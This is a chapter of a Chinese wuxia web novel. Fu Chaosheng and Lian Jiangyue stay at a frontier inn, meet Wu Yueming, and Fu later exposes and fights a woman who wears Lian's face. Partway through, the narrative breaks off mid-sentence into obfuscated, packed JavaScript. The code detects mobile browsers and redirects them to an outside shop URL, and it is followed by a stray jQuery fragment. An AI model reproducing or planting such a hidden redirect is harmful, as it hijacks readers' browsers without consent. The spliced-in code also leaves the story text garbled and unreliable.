28. 春江花月夜(二十七)
作品:《世界之子真不是我拐的》 傅潮生与连江月踏进客栈时,檐下风灯正晃得厉害,将两人交错的身影投在斑驳木门上。
“两间上房。”
柜台后的老掌柜缓缓抬头,目光在二人身上打了个转,随即拱手作揖,满面歉意:“实在对不住二位客官,莫说上房,连柴房都住满了。”
连江月帷帽微动,目光透过薄纱扫过大堂,七八张方桌坐得满满当当,看似寻常食客,实则人人腰佩兵刃,在看似平静的表象下暗流涌动。
傅潮生不语,抬手将一银锭轻轻搁在柜台上,银定旁是他那柄新得的刀。
掌柜的扫过目光扫过刀鞘,喉结微动,语气愈发谨慎:“这几日往来的英雄太多,不如您去镇上别家问问?”
“既然如此,傅兄,我们另寻他处。”她隔着轻纱轻声说道。
话音未落,二楼传来轻响。
“两位且慢。”
一道白色身影翩然跃下,发间银簪在烛火中划过一道流光。
白衣女子稳稳落在二人面前,目光先落在连江月的帷帽上,停留一瞬,转向傅潮生时却骤然转冷。
“我家主人说,可以腾一间给二位。”
此言一出,堂内霎时安静。
方才还喧闹的食客纷纷按住兵器,数道目光或隐晦或直接的望来。连江月看清来人,不着痕迹的侧身挪到傅潮生身后。
傅潮生察觉她的退避,以为遇到她口中的仇家,当即侧身将连江月完全护住,宽厚的背影如一道屏障,隔开了所有探究的视线。
“不必。”傅潮生声音冷硬,反手握住连江月手腕就要离开。
“你可以走,”青衣女子目光掠过傅潮生紧握连江月的那只手,语气转沉,带着几分莫名的针对,“先放开这位姑娘!”
她手持双刀,身形一晃已拦住去路,目光望向傅潮生背后露出的一片衣角,“还请姑娘留下。”
连江月沉默不语,帷帽下的表情无人能窥。
傅潮生拇指轻推刀镡,一线寒光将露未露之际,却被连江月轻轻按住。她在傅潮生紧绷的手背上轻轻拍了两下,似是安抚。
随即,连江月从傅潮生身后缓步走出,朝青衣女子微微颔首,浅浅一笑道:“有劳姑娘引路,多谢你家主人好意。”
“二位,请随我来。”白衣女子见状,紧绷的肩膀稍稍放松,收刀入鞘,她侧身在前带路,对连江月那份若有似无的敬意,与先前对傅潮生的敌意形成了鲜明对比。
傅潮生眉头紧锁,却见连江月朝他轻轻摇了摇头。三人踏上楼梯时,楼下重新响起喧哗。角落里,一道人影迅速起身,悄无声息地没入了门外夜色之中。
二楼廊道深邃,仅有几盏油灯摇曳,青衣女子在一扇雕花门前停下,并未立即推门,而是转向连江月,语气轻缓:“姑娘请稍候,容我通禀主人。”
这时,门内传来一道温和却略显虚弱的嗓音:“请客人进来吧。”
屋内陈设雅致,与客栈外粗犷的边塞风格截然不同。
一位身着素白长袍的年轻公子靠坐窗边软榻上,面色苍白,膝上盖着薄毯,烛光在他脸上跳跃,映出一双过于明亮的眼睛。
“冒昧相邀,还望二位见谅。”公子声音温和,看向连江月,“在下吴月明,适才在楼上,见这位姑娘步态身形,酷似一位故人,故而唐突,让侍女相请。”
连江月目光落在公子脸上,听到他的名字,帷帽下的神色莫名。
傅潮生握紧了手中的刀,冷哼一声。
白衣女子眉头一皱,似要动手,却被吴明月抬手止住。
“傅公子,不若先行休息,房间就在隔壁。”吴明月微微一笑,竟准确道出了傅潮生的姓氏,“男女同住毕竟多有不便,就委屈连姑娘就与我这侍女同住一晚。”他话锋一转,看向连江月,“你说呢,连姑娘?”
连江月眼中闪过一丝无奈,终于开口,声音透过轻纱出来,带着几分疏离:“多谢吴公子,我和傅兄打扰了。”
“去安排。”吴明月对白衣女子轻轻摆手。
白衣女子立刻做了一个请的手势,“傅公子,请。”
傅潮生看向连江月,见她点头认可,便不再多言,他的背影在门口停顿了一瞬,终究还是迈步离开。
白衣女子跟着退下,房门在一声轻响中阖拢,将外界的喧嚣隔绝。
屋内烛火摇曳,映得连江月的侧影明明灭灭。连江月凝视着吴月明,片刻后,轻轻一叹:“边塞苦寒,魔教近来又频频生事。你不守着山庄,偏偏这个时候来这里做什么?”
“那你呢?”吴月明不答反问,目光沉沉地落在她脸上,“为何会来到这边塞之地?”
“与你无关。”
“我的事,同样与你无关。”
一阵沉默在两人之间蔓延,连江月垂眸盯着地上摇曳的烛影,终究还是没能忍住:“她……近来可好?”
“经花神医诊治后,咳疾未再发作。”
“那就好。”连江月轻轻舒了口气。
吴月明的语气同样缓和了许多:“在武林盟引起那么大的震动,留封信便离开了,不打算解释一下吗?”
连江月走至窗前,伸手推开半扇窗,夜风立刻涌入,吹动她面前的轻纱,也吹乱了桌上的烛火,她眉宇间凝着一丝复杂神色,却不愿开口。
“三个月前,江湖便有传言,说魔教教主无名已得完整的《长生诀》。”吴月明的声音低沉下来,“半月前,为防止他功法大成祸乱武林,武林盟杨君华已联合边塞武林,共商讨伐魔教之策。”
连江月瞬间明了,楼下那些形形色色的江湖客,都是为了《长生诀》而来。
她嘴角扬起,语气里带着几分嘲弄,“不过是枉送性命。”接着又道:“杨华君来了吗?”
“正在赶来的路上,没想到沈阳山忽然遇害,边塞的人怕是不会等他。”
“那太可惜了。”不能一次性把无名和杨华君两人都解决了。
“你待如何?”
“不如何。”连江月突然转身,声音转冷,“别掺和这里的事,尽快回去。若是她有什么闪失,我绝不会放过你。”
吴月明低咳一声,“不劳你费心。”
两人不欢而散。
次日,天刚蒙蒙亮,两人各乘一马离开了客栈,向着边塞深处行进。
傅潮生跟在连江月身后,目光始终没有离开她的背影。经过一片枯木林,一道干涸的宽阔河床横亘眼前,傅潮生突然勒住马,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902055|191750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马蹄在地上踏出几声杂响,惊起了远处枯树上的几只鹫。
行在前面的连江月没有转身,只是微微侧过头,疑惑道:“傅兄?”
“连江月呢?”
前方那穿着雪青衣衫的身影停住,没有立刻回头,风吹起她几缕鬓发,她的声音传来,语调音色与连江月一般无二:“傅兄,何意?”
“我说,连江月呢?”傅潮生重复道,每个字都咬得格外清晰。
“我不就在这?”她转过身,风吹起帷帽,露出和连江月同样的眉眼。
傅潮生目光在她脸上停留片刻,然后落在她握缰的手上,“她的手,与你不同。”
“哦?”
“连江月双手虎口,皆有经年累月磨出的薄茧,而你,虎口茧仅在右手,左手却相对光洁,应是自幼苦练右手剑法所致。”傅潮生的声音依然冷淡,但握刀的手已经悄然收紧。
马背上的连江月脸上的笑容淡去了,那双同样清澈的眼睛里掠过一丝难以捕捉的波动。
“就凭这个?”
傅潮生没有答话,长刀出鞘,带着凌厉的破空声斩向对方。
她反应极快,足尖轻点马镫,身形如燕后翻,长剑已然在手,架住了袭来的刀锋。
“铮”的一声清鸣,两匹马受惊,嘶鸣着跑开。
两人落在干涸的河床上,兵刃相接,身形交错。
她的剑招、步法,甚至某些细微的防守习惯,都和连江月如出一辙。但他能感觉到,连江月的剑意如同大漠的狂风,凌厉沉重;而眼前这人,剑势却如江南的春水,灵动轻盈。
二十余招过后,他刀势陡然一变,沉猛的力道震开她的剑锋,刀尖顺势一挑,“铛”的一声,长剑应声脱手。
他的刀锋,随即停在她颈侧。
“卸下你的面具。”他看着那张熟悉的脸,声音里压抑着翻涌的情绪。
她微微仰头,颈线绷紧,嘴角却勾起一抹奇怪的笑:“你可以自己动手。”
他一手持刀,另一只手掀掉帷帽,迅速探向她的耳后、发际……指尖触到的,是温热的肌肤,没有任何伪装的痕迹。
傅潮生的动作顿住了,刀锋更加贴近了她的颈。
眉、眼、鼻、唇,甚至连江月眉尾那颗极淡的小痣,都分毫不差。
阳光毫无保留地照在这张脸上,真实得令人心惊。
“你是谁!”傅潮生声音冷厉。
她迎着他的目光,轻轻的吐出一个名字。
傅潮生盯着这张脸,眼中里带着一丝难以掩饰的茫然,“你是女的?”
“……”
长刀无声归入鞘中,傅潮生沉默地转身,走向不远处正在不安踏蹄的马匹。
她依旧站在原地,见傅潮生翻身上马,问道:“你去哪?你不杀我?你不好奇和你相识的是谁?”
“与你无关。”傅潮生扯动缰绳,马儿在原地转了个圈。
“天高路远,江湖再见。”她对着傅潮生的背影扔出一物,声音中带着一种说不清的情绪,“接住!还望以后傅少侠不要拖她后退。”
傅潮生反手抓住,小腿轻扣马腹,纵马离开,嘲讽的话随风飘散:“回去多练几年,打得过我再来说这句话。”

